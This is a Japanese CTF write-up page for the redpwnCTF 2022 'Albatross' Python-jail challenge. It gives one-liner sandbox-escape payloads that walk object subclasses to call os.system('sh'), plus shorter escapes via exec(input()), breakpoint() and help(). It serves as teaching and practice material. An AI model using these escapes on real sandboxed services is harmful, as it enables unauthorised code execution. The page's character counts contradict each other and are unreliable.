pyjail wiki

redpwnCTF 2022 - Albatross

Challenge

102文字以内で RCE を達成。

code = input()
if len(code) > 102:
print("Too long!")
exit()
exec(code, {'__builtins__': __builtins__})

Solution

最短ペイロードの構築

# 基本形 (104文字 - ギリギリオーバー)
[c for c in ().__class__.__base__.__subclasses__() if'wr'in str(c)][0].__init__.__globals__['system']('sh')
# 短縮版 (102文字以下)
[c for c in ().__class__.__mro__[1].__subclasses__()if'wr'in str(c)][0].__init__.__globals__['system']('sh')

docstring からの文字抽出

# 空白文字を抽出
().__doc__[19] # ' '
# 特定の文字を探索
[i for i,c in enumerate(''.__doc__) if c=='o'][0]

短縮テクニック

短縮
__bases__[0]__mro__[1]
__subclasses__()そのまま
' ' in str(c)'x'in str(c) (空白削除)

Technical Details

ペイロード長の最適化

# オリジナル: 105文字
[c for c in ().__class__.__bases__[0].__subclasses__() if '_wrap_close' in str(c)][0].__init__.__globals__['system']('sh')
# 最適化1: __mro__ を使用 (102文字)
# __bases__[0] より __mro__[1] が短い
# 最適化2: 部分文字列マッチ (99文字)
# '_wrap_close' → 'wr'
# 最適化3: 空白削除
# ' if ' → 'if'

文字数カウント

payload = "[c for c in ().__class__.__mro__[1].__subclasses__()if'wr'in str(c)][0].__init__.__globals__['system']('sh')"
len(payload) # 確認

Alternative Solutions

別解1: exec + input

exec(input())

12文字だが、2回目の入力が必要。

別解2: breakpoint

breakpoint()

12文字で pdb を起動し、そこから RCE。

別解3: help

help()

6文字で対話モードに入り、pager から脱出。

Flag

flag{...}

References

  • redpwnCTF 2022 Official